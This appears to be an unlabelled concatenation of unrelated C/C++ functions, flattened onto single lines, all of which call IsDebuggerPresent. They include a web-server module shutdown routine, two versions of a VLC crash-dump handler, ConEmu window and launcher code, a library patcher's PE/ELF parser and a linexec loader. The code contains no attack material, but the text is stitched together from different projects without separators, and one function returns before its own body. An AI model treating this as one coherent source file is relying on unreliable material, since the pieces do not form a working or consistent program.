bool ShouldBreak() { return !!IsDebuggerPresent(); }
bool system_debugger_attached( void ) { return IsDebuggerPresent(); }
VOID IN_PROCESS_APPLICATION::ShutDownInternal() { DWORD dwThreadStatus = 0; DWORD dwTimeout = m_pConfig->QueryShutdownTimeLimitInMS(); HANDLE handle = NULL; WIN32_FIND_DATA fileData; if (IsDebuggerPresent()) { dwTimeout = INFINITE; } if (m_fShutdownCalledFromNative || m_status == APPLICATION_STATUS::STARTING || m_status == APPLICATION_STATUS::FAIL) { return; } { SRWLockWrapper lock(m_srwLock); if (m_fShutdownCalledFromNative || m_status == APPLICATION_STATUS::STARTING || m_status == APPLICATION_STATUS::FAIL) { return; } // We need to keep track of when both managed and native initiate shutdown // to avoid AVs. If shutdown has already been initiated in managed, we don't want to call into // managed. We still need to wait on main exiting no matter what. m_fShutdownCalledFromNative // is used for detecting redundant calls and blocking more requests to OnExecuteRequestHandler. m_fShutdownCalledFromNative = TRUE; m_status = APPLICATION_STATUS::SHUTDOWN; if (!m_fShutdownCalledFromManaged) { // We cannot call into managed if the dll is detaching from the process. // Calling into managed code when the dll is detaching is strictly a bad idea, // and usually results in an AV saying "The string binding is invalid" if (!g_fProcessDetach) { m_ShutdownHandler(m_ShutdownHandlerContext); m_ShutdownHandler = NULL; } } // Release the lock before we wait on the thread to exit. } if (!m_fShutdownCalledFromManaged) { if (m_hThread != NULL && GetExitCodeThread(m_hThread, &dwThreadStatus) != 0 && dwThreadStatus == STILL_ACTIVE) { // wait for graceful shutdown, i.e., the exit of the background thread or timeout if (WaitForSingleObject(m_hThread, dwTimeout) != WAIT_OBJECT_0) { // if the thread is still running, we need kill it first before exit to avoid AV if (GetExitCodeThread(m_hThread, &dwThreadStatus) != 0 && dwThreadStatus == STILL_ACTIVE) { // Calling back into managed at this point is prone to have AVs // Calling terminate thread here may be our best solution. TerminateThread(m_hThread, STATUS_CONTROL_C_EXIT); } } } } CloseHandle(m_hThread); m_hThread = NULL; s_Application = NULL; CloseStdErrHandles(); if (m_pStdFile != NULL) { fflush(stdout); fflush(stderr); fclose(m_pStdFile); } if (m_hLogFileHandle != INVALID_HANDLE_VALUE) { m_Timer.CancelTimer(); CloseHandle(m_hLogFileHandle); m_hLogFileHandle = INVALID_HANDLE_VALUE; } // delete empty log file handle = FindFirstFile(m_struLogFilePath.QueryStr(), &fileData); if (handle != INVALID_HANDLE_VALUE && fileData.nFileSizeHigh == 0 && fileData.nFileSizeLow == 0) // skip check of nFileSizeHigh { FindClose(handle); // no need to check whether the deletion succeeds // as nothing can be done DeleteFile(m_struLogFilePath.QueryStr()); } }
/***************************************************************************** * vlc_exception_filter: handles unhandled exceptions, like segfaults *****************************************************************************/ LONG WINAPI vlc_exception_filter(struct _EXCEPTION_POINTERS *lpExceptionInfo) { if(IsDebuggerPresent()) { //If a debugger is present, pass the exception to the debugger with EXCEPTION_CONTINUE_SEARCH return EXCEPTION_CONTINUE_SEARCH; } else { fprintf( stderr, "unhandled vlc exception\n" ); wchar_t * wdir = (wchar_t *)malloc(sizeof(wchar_t)*MAX_PATH); get_crashdump_path(wdir); FILE * fd = _wfopen ( wdir, L"w, ccs=UTF-8" ); free((void *)wdir); if( !fd ) { fprintf( stderr, "\nerror while opening file" ); exit( 1 ); } OSVERSIONINFO osvi; ZeroMemory( &osvi, sizeof(OSVERSIONINFO) ); osvi.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); GetVersionEx( &osvi ); fwprintf( fd, L"[version]\nOS=%d.%d.%d.%d.%s\nVLC=" VERSION_MESSAGE, osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber, osvi.dwPlatformId, osvi.szCSDVersion); const CONTEXT *const pContext = (const CONTEXT *)lpExceptionInfo->ContextRecord; const EXCEPTION_RECORD *const pException = (const EXCEPTION_RECORD *)lpExceptionInfo->ExceptionRecord; /*No nested exceptions for now*/ fwprintf( fd, L"\n\n[exceptions]\n%08x at %08x",pException->ExceptionCode, pException->ExceptionAddress ); if( pException->NumberParameters > 0 ) { unsigned int i; for( i = 0; i < pException->NumberParameters; i++ ) fwprintf( fd, L" | %08x", pException->ExceptionInformation[i] ); } fwprintf( fd, L"\n\n[context]\nEDI:%08x\nESI:%08x\n" \ "EBX:%08x\nEDX:%08x\nECX:%08x\nEAX:%08x\n" \ "EBP:%08x\nEIP:%08x\nESP:%08x\n", pContext->Edi,pContext->Esi,pContext->Ebx, pContext->Edx,pContext->Ecx,pContext->Eax, pContext->Ebp,pContext->Eip,pContext->Esp ); fwprintf( fd, L"\n[stacktrace]\n#EIP|base|module\n" ); wchar_t module[ 256 ]; MEMORY_BASIC_INFORMATION mbi ; VirtualQuery( (DWORD *)pContext->Eip, &mbi, sizeof( mbi ) ) ; HINSTANCE hInstance = mbi.AllocationBase; GetModuleFileName( hInstance, module, 256 ) ; fwprintf( fd, L"%08x|%s\n", pContext->Eip, module ); DWORD pEbp = pContext->Ebp; DWORD caller = *((DWORD*)pEbp + 1); unsigned i_line = 0; do { VirtualQuery( (DWORD *)caller, &mbi, sizeof( mbi ) ) ; HINSTANCE hInstance = mbi.AllocationBase; GetModuleFileName( hInstance, module, 256 ) ; fwprintf( fd, L"%08x|%s\n", caller, module ); pEbp = *(DWORD*)pEbp ; caller = *((DWORD*)pEbp + 1) ; i_line++; /*The last EBP points to NULL!*/ }while(caller && i_line< 100); fclose( fd ); fflush( stderr ); exit( 1 ); } }
LRESULT CConEmuChild::ChildWndProc(HWND hWnd, UINT messg, WPARAM wParam, LPARAM lParam) { LRESULT result = 0; // Logger MSG msgStr = {hWnd, messg, wParam, lParam}; ConEmuMsgLogger::Log(msgStr, ConEmuMsgLogger::msgCanvas); if (gpSetCls->isAdvLogging >= 4) { gpConEmu->LogMessage(hWnd, messg, wParam, lParam); } CVConGuard guard; CVirtualConsole* pVCon = NULL; if (messg == WM_CREATE || messg == WM_NCCREATE) { LPCREATESTRUCT lp = (LPCREATESTRUCT)lParam; guard = (CVirtualConsole*)lp->lpCreateParams; pVCon = guard.VCon(); if (pVCon) { gVConDcMap.Set(hWnd, pVCon); pVCon->m_TAutoCopy.Init(hWnd, TIMER_AUTOCOPY, TIMER_AUTOCOPY_DELAY); pVCon->m_TScrollShow.Init(hWnd, TIMER_SCROLL_SHOW, TIMER_SCROLL_SHOW_DELAY); pVCon->m_TScrollHide.Init(hWnd, TIMER_SCROLL_HIDE, TIMER_SCROLL_HIDE_DELAY); #ifndef SKIP_HIDE_TIMER pVCon->m_TScrollCheck.Init(hWnd, TIMER_SCROLL_CHECK, TIMER_SCROLL_CHECK_DELAY); #endif } } else if (hWnd != ghDcInDestroing) { if (!gVConDcMap.Get(hWnd, &pVCon) || !guard.Attach(pVCon)) pVCon = NULL; } if (messg == WM_SYSCHAR) { _ASSERTE(FALSE); // по идее, фокуса тут быть не должно // Чтобы не пищало result = TRUE; goto wrap; } if (!pVCon) { _ASSERTE(pVCon!=NULL || hWnd==ghDcInDestroing); result = DefWindowProc(hWnd, messg, wParam, lParam); goto wrap; } switch (messg) { case WM_SHOWWINDOW: { #ifdef _DEBUG HWND hGui = pVCon->GuiWnd(); if (hGui) { _ASSERTE(((wParam==0) || pVCon->RCon()->isGuiForceConView()) && "Show DC while GuiWnd exists"); } #endif result = DefWindowProc(hWnd, messg, wParam, lParam); break; } case WM_SETFOCUS: // Если в консоли работает "GUI" окно (GUI режим), то фокус нужно отдать туда. { // Фокус должен быть в главном окне! За исключением случая работы в GUI режиме. pVCon->setFocus(); } return 0; case WM_ERASEBKGND: result = 0; break; case WM_PAINT: result = pVCon->OnPaint(); break; case WM_PRINTCLIENT: if (wParam && (lParam & PRF_CLIENT)) { pVCon->PrintClient((HDC)wParam, false, NULL); } break; case WM_SIZE: #ifdef _DEBUG { RECT rc; GetClientRect(hWnd, &rc); short cx = LOWORD(lParam); rc.left = rc.left; } #endif result = pVCon->OnSize(wParam, lParam); break; case WM_MOVE: result = pVCon->OnMove(wParam, lParam); break; case WM_CREATE: break; case WM_KEYDOWN: case WM_KEYUP: case WM_SYSKEYDOWN: case WM_SYSKEYUP: case WM_MOUSEWHEEL: case WM_ACTIVATE: case WM_ACTIVATEAPP: //case WM_MOUSEACTIVATE: case WM_KILLFOCUS: //case WM_SETFOCUS: case WM_MOUSEMOVE: case WM_RBUTTONDOWN: case WM_RBUTTONUP: case WM_MBUTTONDOWN: case WM_MBUTTONUP: case WM_LBUTTONDOWN: case WM_LBUTTONUP: case WM_LBUTTONDBLCLK: case WM_MBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_XBUTTONDOWN: case WM_XBUTTONUP: case WM_XBUTTONDBLCLK: case WM_VSCROLL: // Вся обработка в родителе { switch (messg) { case WM_VSCROLL: switch (LOWORD(wParam)) { case SB_THUMBTRACK: case SB_THUMBPOSITION: pVCon->mb_VTracking = TRUE; break; case SB_ENDSCROLL: pVCon->mb_VTracking = FALSE; break; } pVCon->RCon()->OnSetScrollPos(wParam); break; case WM_LBUTTONUP: pVCon->mb_VTracking = FALSE; break; } TODO("Обработка ghWndWork"); HWND hParent = ghWnd; static bool bInFixStyle = false; if (!bInFixStyle) { hParent = GetParent(hWnd); if (hParent != ghWnd) { // Неправомерные действия плагинов фара? bInFixStyle = true; _ASSERTE(GetParent(hWnd)==ghWnd); SetParent(hWnd, ghWnd); bInFixStyle = false; hParent = ghWnd; } DWORD curStyle = GetWindowLong(hWnd, GWL_STYLE); if ((curStyle & CRITICAL_DCWND_STYLES) != (pVCon->mn_WndDCStyle & CRITICAL_DCWND_STYLES)) { // DC window styles was changed externally! bInFixStyle = true; _ASSERTEX(((curStyle & CRITICAL_DCWND_STYLES) != (pVCon->mn_WndDCStyle & CRITICAL_DCWND_STYLES))); SetWindowLongPtr(hWnd, GWL_STYLE, (LONG_PTR)(DWORD_PTR)pVCon->mn_WndDCStyle); bInFixStyle = false; } } if (messg >= WM_MOUSEFIRST && messg <= WM_MOUSELAST) { POINT pt = {LOWORD(lParam),HIWORD(lParam)}; MapWindowPoints(hWnd, hParent, &pt, 1); lParam = MAKELONG(pt.x,pt.y); } result = gpConEmu->WndProc(hParent, messg, wParam, lParam); } break; case WM_IME_NOTIFY: break; case WM_INPUTLANGCHANGE: case WM_INPUTLANGCHANGEREQUEST: { #ifdef _DEBUG if (IsDebuggerPresent()) { WCHAR szMsg[128]; _wsprintf(szMsg, SKIPLEN(countof(szMsg)) L"InChild %s(CP:%i, HKL:0x%08X)\n", (messg == WM_INPUTLANGCHANGE) ? L"WM_INPUTLANGCHANGE" : L"WM_INPUTLANGCHANGEREQUEST", (DWORD)wParam, (DWORD)lParam); DEBUGSTRLANG(szMsg); } #endif result = DefWindowProc(hWnd, messg, wParam, lParam); } break; #ifdef _DEBUG case WM_WINDOWPOSCHANGING: { WINDOWPOS* pwp = (WINDOWPOS*)lParam; result = DefWindowProc(hWnd, messg, wParam, lParam); } return result; case WM_WINDOWPOSCHANGED: { WINDOWPOS* pwp = (WINDOWPOS*)lParam; result = DefWindowProc(hWnd, messg, wParam, lParam); } break; #endif case WM_SETCURSOR: { gpConEmu->WndProc(hWnd, messg, wParam, lParam); //if (!result) // result = DefWindowProc(hWnd, messg, wParam, lParam); } // If an application processes this message, it should return TRUE to halt further processing or FALSE to continue. break; case WM_SYSCOMMAND: // -- лишние ограничения, похоже result = DefWindowProc(hWnd, messg, wParam, lParam); //if (wParam >= SC_SIZE && wParam <= SC_CONTEXTHELP/*0xF180*/) //{ // // Изменение размеров/максимизация/и т.п. окна консоли - запрещена // _ASSERTE(!(wParam >= SC_SIZE && wParam <= SC_CONTEXTHELP)); //} //else //{ // // По идее, сюда ничего приходить больше не должно // _ASSERTE(FALSE); //} break; case WM_TIMER: { switch(wParam) { #ifndef SKIP_HIDE_TIMER // Не будем прятать по таймеру - только по движению мышки case TIMER_SCROLL_CHECK: if (pVCon->mb_Scroll2Visible) { if (!pVCon->CheckMouseOverScroll()) { pVCon->HideScroll(FALSE/*abImmediate*/); } } break; #endif case TIMER_SCROLL_SHOW: if (pVCon->CheckMouseOverScroll() || pVCon->CheckScrollAutoPopup()) pVCon->ShowScroll(TRUE/*abImmediate*/); else pVCon->mb_Scroll2Visible = FALSE; if (pVCon->m_TScrollShow.IsStarted()) pVCon->m_TScrollShow.Stop(); break; case TIMER_SCROLL_HIDE: if (!pVCon->CheckMouseOverScroll()) pVCon->HideScroll(TRUE/*abImmediate*/); else pVCon->mb_Scroll2Visible = TRUE; if (pVCon->m_TScrollHide.IsStarted()) pVCon->m_TScrollHide.Stop(); break; case TIMER_AUTOCOPY: pVCon->SetAutoCopyTimer(false); if (!isPressed(VK_LBUTTON)) { pVCon->RCon()->AutoCopyTimer(); } break; } break; } // case WM_TIMER: case WM_GESTURENOTIFY: case WM_GESTURE: { gpConEmu->ProcessGestureMessage(hWnd, messg, wParam, lParam, result); break; } // case WM_GESTURE, WM_GESTURENOTIFY default: // Сообщение приходит из ConEmuPlugin if (messg == pVCon->mn_MsgTabChanged) { if (gpSet->isTabs) { //изменились табы, их нужно перечитать #ifdef MSGLOGGER WCHAR szDbg[128]; _wsprintf(szDbg, SKIPLEN(countof(szDbg)) L"Tabs:Notified(%i)\n", (DWORD)wParam); DEBUGSTRTABS(szDbg); #endif TODO("здесь хорошо бы вместо OnTimer реально обновить mn_TopProcessID") // иначе во время запуска PID фара еще может быть не известен... //gpConEmu->OnTimer(0,0); не получилось. индекс конмана не менялся, из-за этого индекс активного фара так и остался 0 WARNING("gpConEmu->mp_TabBar->Retrieve() ничего уже не делает вообще"); _ASSERTE(FALSE); gpConEmu->mp_TabBar->Retrieve(); } } else if (messg == pVCon->mn_MsgPostFullPaint) { pVCon->Redraw(); } else if (messg == pVCon->mn_MsgSavePaneSnapshoot) { pVCon->SavePaneSnapshoot(); } else if (messg == pVCon->mn_MsgDetachPosted) { pVCon->RCon()->Detach(true, (lParam == 1)); } else if (messg == gn_MsgVConTerminated) { CVirtualConsole* pVCon = (CVirtualConsole*)lParam; #ifdef _DEBUG int i = -100; wchar_t szDbg[200]; { lstrcpy(szDbg, L"gn_MsgVConTerminated"); i = CVConGroup::GetVConIndex(pVCon); if (i >= 1) { ConEmuTab tab = {0}; pVCon->RCon()->GetTab(0, &tab); tab.Name[128] = 0; // чтобы не вылезло из szDbg wsprintf(szDbg+_tcslen(szDbg), L": #%i: %s", i, tab.Name); } lstrcat(szDbg, L"\n"); DEBUGSTRCONS(szDbg); } #endif // Do not "Guard" lParam here, validation will be made in ProcessVConClosed CConEmuChild::ProcessVConClosed(pVCon, TRUE); return 0; } #ifdef _DEBUG else if (messg == pVCon->mn_MsgCreateDbgDlg) { pVCon->CreateDbgDlg(); } #endif else if (messg) { result = DefWindowProc(hWnd, messg, wParam, lParam); } } wrap: return result; }
void CDynPatcher::Error(const char *File, const char *Func, int Line, bool IsCritical, char *Fmt, ...) { static char Buff[0x1000]; int len=0; len+=_snprintf(&Buff[len],sizeof(Buff)-len-1,"[CDynPatcher] %serror",IsCritical?"critical":""); if(File&&Func&&Line&&strlen(File)<MAX_PATH&&strlen(Func)<300) { len+=_snprintf(&Buff[len],sizeof(Buff)-len-1," at %s(%s:%i)",CSectionData::GetFileName(File),Func,Line); } len+=_snprintf(&Buff[len],sizeof(Buff)-len-1,":"); va_list marker; if(!Fmt) { len+=_snprintf(&Buff[len],sizeof(Buff)-len-1,"(NO DESCRIPTION)\r\n"); } else { va_start( marker, Fmt ); len+=_vsnprintf(&Buff[len],sizeof(Buff)-len-1, Fmt, marker ); } len+=_snprintf(&Buff[len],sizeof(Buff)-len-1,"\r\n"); printf("%s",Buff); if(IsCritical) { #ifdef WIN32 __asm{int 3}; if(!IsDebuggerPresent()) { exit(0); } #else exit(0); #endif } } void CDynPatcher::Message(const char *File, const char *Func, int Line, char *Fmt, ...) { static char Buff[0x1000]; int len=0; len+=_snprintf(&Buff[len],sizeof(Buff)-len-1,"[CDynPatcher]"); if(File&&Func&&Line&&strlen(File)<MAX_PATH&&strlen(Func)<300) { len+=_snprintf(&Buff[len],sizeof(Buff)-len-1," at %s(%s:%i)",CSectionData::GetFileName(File),Func,Line); } len+=_snprintf(&Buff[len],sizeof(Buff)-len-1,":"); va_list marker; if(!Fmt) { len+=_snprintf(&Buff[len],sizeof(Buff)-len-1,"(NO DESCRIPTION)\r\n"); } else { va_start( marker, Fmt ); len+=_vsnprintf(&Buff[len],sizeof(Buff)-len-1, Fmt, marker ); } len+=_snprintf(&Buff[len],sizeof(Buff)-len-1,"\r\n"); printf("%s",Buff); } bool CDynPatcher::Init(const char *LibName,bool ForceLoad) { if (!LibName) { szLibName = "<<===NO LIBRARY NAME===>>"; return false; } if(!LoadLib(LibName,ForceLoad)) { DynErr(false,"Unable to load \"%s\"",LibName); return false; } #ifdef WIN32 if(!ParseGenericDllData_PE()) { DynErr(false,"Failed to parse \"%s\"",szLibName); return false; } DynMsg("\"%s\" parsed",szLibName); #else FILE *fl = fopen(szLibName, "rb"); int LibSize; void* LibBuf; if (fl == NULL) { DynErr(false,"Failed to open '%s' for read\n", szLibName); return false; } fseek(fl, 0, SEEK_END); LibSize = ftell(fl); fseek(fl, 0, SEEK_SET); if (LibSize < 0) LibSize = 0; LibBuf = malloc(LibSize + 4); fread(LibBuf, 1, LibSize, fl); fclose(fl); if(!ParseGenericDllData_ELF(LibBuf, LibSize)) { DynErr(false,"Failed to parse \"%s\"",szLibName); return false; } #endif return true; } bool CDynPatcher::Init(const wchar_t *LibName, bool ForceLoad /*= false*/) { return 0; static char UTF8LibName[MAX_PATH]; //Q_UnicodeToUTF8(LibName, UTF8LibName, MAX_PATH-1); return Init(UTF8LibName, ForceLoad); } bool CDynPatcher::Init(void *FuncAddr) { char szTmpName[400]; sprintf(szTmpName, "Unk_load_by_func_addr_%p", FuncAddr); szLibName = new char[strlen(szTmpName) + 1]; strcpy(szLibName, szTmpName); bSelfLoaded = false; #ifdef _WIN32 MEMORY_BASIC_INFORMATION mem; VirtualQuery(FuncAddr, &mem, sizeof(mem)); szTmpName[0] = 0; GetModuleFileNameA(reinterpret_cast<HMODULE>(mem.AllocationBase ), szTmpName, sizeof(szTmpName) - 1); if (szTmpName[0] != 0) { delete[]szLibName; szLibName = new char[strlen(CSectionData::GetFileName(szTmpName)) + 1]; strcpy(szLibName, CSectionData::GetFileName(szTmpName)); } IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER*)mem.AllocationBase; IMAGE_NT_HEADERS *pe = (IMAGE_NT_HEADERS*)((unsigned long)dos + (unsigned long)dos->e_lfanew); if (pe->Signature == IMAGE_NT_SIGNATURE) { this->DllHandler = mem.AllocationBase; if (!ParseGenericDllData_PE()) { DynErr(false, "Failed to parse \"%s\"", szLibName); return false; } DynMsg("\"%s\" parsed",szLibName); } #else Dl_info info; if (dladdr(FuncAddr, &info) && info.dli_fbase &&info.dli_fname) { delete [] szLibName; szLibName = new char[strlen(info.dli_fname) + 1]; strcpy(szLibName, info.dli_fname); bool ParseOK=false; size_t LoadLibSize=0; DllBase = info.dli_fbase; LoadLibSize = (size_t)GetBaseLen(DllBase); DllHandler = dlopen(info.dli_fname, RTLD_NOW); dlclose(DllHandler); DynMsg("Found library \"%s\" at addr %p. Base=%p, size=%x, handler=%p",szLibName,FuncAddr,DllBase,LoadLibSize,DllHandler); FILE *fl = fopen(szLibName, "rb"); int LibSize; void* LibBuf; if (fl) { fseek(fl, 0, SEEK_END); LibSize = ftell(fl); fseek(fl, 0, SEEK_SET); DynMsg("Reading \"%s\" as file. Size=%x",szLibName,LibSize); if (LibSize < 0) LibSize = 0; LibBuf = malloc(LibSize + 4); fread(LibBuf, 1, LibSize, fl); fclose(fl); ParseOK=ParseGenericDllData_ELF(LibBuf, LibSize); free(LibBuf); } else { DynMsg("Unable to read \"%s\" as file. Trying to use information from Dl_info.",szLibName); ParseOK=ParseGenericDllData_ELF(DllBase, LoadLibSize); } if (!ParseOK) { DynErr(false, "Failed to parse \"%s\"", szLibName); return false; } } #endif else { DynErr(false, "Failed find library at %p",FuncAddr); return false; } return true; }
/***************************************************************************** * vlc_exception_filter: handles unhandled exceptions, like segfaults *****************************************************************************/ LONG WINAPI vlc_exception_filter(struct _EXCEPTION_POINTERS *lpExceptionInfo) { if(IsDebuggerPresent()) { //If a debugger is present, pass the exception to the debugger //with EXCEPTION_CONTINUE_SEARCH return EXCEPTION_CONTINUE_SEARCH; } else { fprintf( stderr, "unhandled vlc exception\n" ); FILE * fd = _wfopen ( crashdump_path, L"w, ccs=UTF-8" ); if( !fd ) { fprintf( stderr, "\nerror while opening file" ); exit( 1 ); } OSVERSIONINFO osvi; ZeroMemory( &osvi, sizeof(OSVERSIONINFO) ); osvi.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); GetVersionEx( &osvi ); fwprintf( fd, L"[version]\nOS=%d.%d.%d.%d.%s\nVLC=" VERSION_MESSAGE, osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber, osvi.dwPlatformId, osvi.szCSDVersion); const CONTEXT *const pContext = (const CONTEXT *) lpExceptionInfo->ContextRecord; const EXCEPTION_RECORD *const pException = (const EXCEPTION_RECORD *) lpExceptionInfo->ExceptionRecord; /* No nested exceptions for now */ fwprintf( fd, L"\n\n[exceptions]\n%08x at %px", pException->ExceptionCode, pException->ExceptionAddress ); for( unsigned int i = 0; i < pException->NumberParameters; i++ ) fwprintf( fd, L" | %p", pException->ExceptionInformation[i] ); #ifdef _WIN64 fwprintf( fd, L"\n\n[context]\nRDI:%px\nRSI:%px\n" \ "RBX:%px\nRDX:%px\nRCX:%px\nRAX:%px\n" \ "RBP:%px\nRIP:%px\nRSP:%px\nR8:%px\n" \ "R9:%px\nR10:%px\nR11:%px\nR12:%px\n" \ "R13:%px\nR14:%px\nR15:%px\n", pContext->Rdi,pContext->Rsi,pContext->Rbx, pContext->Rdx,pContext->Rcx,pContext->Rax, pContext->Rbp,pContext->Rip,pContext->Rsp, pContext->R8,pContext->R9,pContext->R10, pContext->R11,pContext->R12,pContext->R13, pContext->R14,pContext->R15 ); #else fwprintf( fd, L"\n\n[context]\nEDI:%px\nESI:%px\n" \ "EBX:%px\nEDX:%px\nECX:%px\nEAX:%px\n" \ "EBP:%px\nEIP:%px\nESP:%px\n", pContext->Edi,pContext->Esi,pContext->Ebx, pContext->Edx,pContext->Ecx,pContext->Eax, pContext->Ebp,pContext->Eip,pContext->Esp ); #endif fwprintf( fd, L"\n[stacktrace]\n#EIP|base|module\n" ); #ifdef _WIN64 LPCVOID caller = (LPCVOID)pContext->Rip; LPVOID *pBase = (LPVOID*)pContext->Rbp; #else LPVOID *pBase = (LPVOID*)pContext->Ebp; LPCVOID caller = (LPCVOID)pContext->Eip; #endif for( unsigned frame = 0; frame <= 100; frame++ ) { MEMORY_BASIC_INFORMATION mbi; wchar_t module[ 256 ]; VirtualQuery( caller, &mbi, sizeof( mbi ) ) ; GetModuleFileName( mbi.AllocationBase, module, 256 ); fwprintf( fd, L"%p|%s\n", caller, module ); /*The last BP points to NULL!*/ caller = *(pBase + 1); if( !caller ) break; pBase = *pBase; } HANDLE hpid = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId()); if (hpid) { HMODULE mods[1024]; DWORD size; if (EnumProcessModules(hpid, mods, sizeof(mods), &size)) { fwprintf( fd, L"\n\n[modules]\n" ); for (unsigned int i = 0; i < size / sizeof(HMODULE); i++) { wchar_t module[ 256 ]; GetModuleFileName(mods[i], module, 256); fwprintf( fd, L"%p|%s\n", mods[i], module); } } CloseHandle(hpid); } fclose( fd ); fflush( stderr ); exit( 1 ); } }
bool isDebuggerActive() { return IsDebuggerPresent() != 0; }
int main(int argc, char** argv) { gn_argc = argc; gp_argv = argv; int iRc = 0; HMODULE hConEmu = NULL; wchar_t szErrInfo[200]; DWORD dwErr; typedef int (__stdcall* ConsoleMain2_t)(BOOL abAlternative); ConsoleMain2_t lfConsoleMain2; #ifdef _DEBUG HMODULE hConEmuHk = GetModuleHandle(WIN3264TEST(L"ConEmuHk.dll",L"ConEmuHk64.dll")); _ASSERTE(hConEmuHk==NULL && "Hooks must not be loaded into ConEmuC[64].exe!"); #endif #if defined(SHOW_STARTED_MSGBOX) if (!IsDebuggerPresent()) { wchar_t szTitle[100]; _wsprintf(szTitle, SKIPLEN(countof(szTitle)) WIN3264TEST(L"ConEmuC",L"ConEmuC64") L" Loaded (PID=%i)", GetCurrentProcessId()); const wchar_t* pszCmdLine = GetCommandLineW(); MessageBox(NULL,pszCmdLine,szTitle,0); } #endif // Обязательно, иначе по CtrlC мы свалимся SetConsoleCtrlHandler((PHANDLER_ROUTINE)HandlerRoutine, true); #ifdef _DEBUG UnitTests(); #endif // Some command we can process internally if (ProcessCommandLine(iRc, hConEmu)) { // Done, exiting goto wrap; } // Otherwise - do the full cycle if (!hConEmu) hConEmu = LoadLibrary(WIN3264TEST(L"ConEmuCD.dll",L"ConEmuCD64.dll")); dwErr = GetLastError(); if (!hConEmu) { _wsprintf(szErrInfo, SKIPLEN(countof(szErrInfo)) L"Can't load library \"%s\", ErrorCode=0x%08X\n", WIN3264TEST(L"ConEmuCD.dll",L"ConEmuCD64.dll"), dwErr); _wprintf(szErrInfo); _ASSERTE(FALSE && "LoadLibrary failed"); iRc = CERR_CONEMUHK_NOTFOUND; goto wrap; } // Загрузить функи из ConEmuHk lfConsoleMain2 = (ConsoleMain2_t)GetProcAddress(hConEmu, "ConsoleMain2"); gfHandlerRoutine = (PHANDLER_ROUTINE)GetProcAddress(hConEmu, "HandlerRoutine"); if (!lfConsoleMain2 || !gfHandlerRoutine) { dwErr = GetLastError(); _wsprintf(szErrInfo, SKIPLEN(countof(szErrInfo)) L"Procedure \"%s\" not found in library \"%s\"", lfConsoleMain2 ? L"HandlerRoutine" : L"ConsoleMain2", WIN3264TEST(L"ConEmuCD.dll",L"ConEmuCD64.dll")); _wprintf(szErrInfo); _ASSERTE(FALSE && "GetProcAddress failed"); FreeLibrary(hConEmu); iRc = CERR_CONSOLEMAIN_NOTFOUND; goto wrap; } // Main dll entry point for Server & ComSpec iRc = lfConsoleMain2(0/*WorkMode*/); // Exiting gfHandlerRoutine = NULL; //FreeLibrary(hConEmu); -- Shutdown Server/Comspec уже выполнен wrap: //-- bottle neck: relatively long deinitialization ExitProcess(iRc); return iRc; }
int main(int argc, char *argv[], char *envp[]) { int ret; int isroot = 1; int iscore = 0; int forceMe = 1; int len; int lineDebugger = 0; int index=0; char** tmpenvp = envp; while( *tmpenvp ){ char* env = *tmpenvp; if( strstr(env, "PATH=") ) *tmpenvp = "PATH=/bin:/usr/bin:/usr/local/bin"; tmpenvp++; } /* while (1) { int option_index = 0; int c; static struct option long_options[] = { {"pause", 0, 0, 'p'}, {"force", 0, 0, 'f'}, {"help", 0, 0, 'h'}, {"debug", 0, 0, 'd'}, {"nodebugger", 0, 0, 'n'}, {"chroot", 1, 0, 'c'}, {"core", 0, 0, 'C'}, {0,0,0,0} }; c = getopt_long(argc, argv, "pfnhdc:C", long_options, &option_index); if (-1 == c) break; switch (c) { case 'f': forceMe = 1; break; case 'c': if (chroot(optarg) != 0) { printf("Linexec: unable to chroot: %s\n", optarg); return -EINVAL; } cygwin_conv_to_full_posix_path(optarg, chroot_path); chdir ("/"); log(LOG_LINEXEC_MISC, "chroot(%s)", chroot_path); break; case 'h': show_help(); exit(0); case 'd': printf("(debug command line option is currently ignored)\n"); break; case 'p': isroot = 1; break; case 'C': iscore = 1; break; case 'n': lineDebugger = 0; break; default: printf("Unknown option '%c'\n", c); //exit(-1); } } */ optind = 1; if (!forceMe || (optind > argc-1)) { show_help(); exit(1); } if (iscore && (optind < argc-1)) { printf("Note: command line arguments are ignored when loading core\n"); } get_winver(0); cygwin_conv_to_full_posix_path(argv[0], linexec_exe); if ((len = strlen(chroot_path)) > 0) { /* cygwin_conv_to_full_posix_path seems to convert '.' to '/path/.', so strip the trailing period */ if ('.' == chroot_path[len-1]) { len--; chroot_path[len] = '\0'; } if (0 != strncmp(linexec_exe, chroot_path, len)) { char *msg = "Linexec.exe is not in the chroot()ed filesystem"; log_warning(LOG_LINEXEC_MISC, msg); linexec_exe[0] = '\0'; } else { if ('/' == chroot_path[len-1]) { len--; } my_print("[linexec_exe]+++ %s\n", linexec_exe); memmove(linexec_exe, linexec_exe+len, strlen(linexec_exe)-len+1); my_print("[linexec_exe]--- %s\n", linexec_exe); } } // printf("linexec_exe is (%s), chroot is (%s)\n", linexec_exe, chroot_path); dlfork(FORK_RELOAD); /* * Note that the core is loaded before ASM_DISPATCH_SYSCALL. This is because * you probably aren't actaully be running under LINE when loading a coredump */ if (iscore) { loadcore(argv[optind]); return -1; } log_debug(LOG_LINEXEC_MISC, "Running %s", argv[optind]); /* * Tell LINE about the Linexec syscall handler. */ #ifndef __DEBUG__ if (lineDebugger && !IsDebuggerPresent()) { printf("LINE debugger not detected. Refusing to continue.\n"); return -1; } ASM_DISPATCH_SYSCALL; #endif pInfo.lineDebugger = lineDebugger; if (isroot) { pInfo.root_pid = getpid(); } nso_setup(linexec_exe); if (mmap_setup() < 0) { //printf("\n[Press ENTER to exit...]\n"); //getchar(); return -1; } binfmt_setup(); ASM_SAVE_ESP; //printf("optind = %d\n", optind); //for( index = 0; index < argc; index++ ) // printf("argv[%d] = %s\n", index, argv[index]); /* start the executable */ if (optind >= argc-1) { char *fake_argv[optind]; fake_argv[0] = argv[optind]; fake_argv[1] = NULL; ret = do_exec(argv[optind], fake_argv, envp); } else { ret = do_exec(argv[optind], &argv[optind], envp); } printf("linexec: error running %s: %d\n", argv[optind], ret); if (isroot) { //printf("\n[Press ENTER to exit...]\n"); //getchar(); } return ret; }
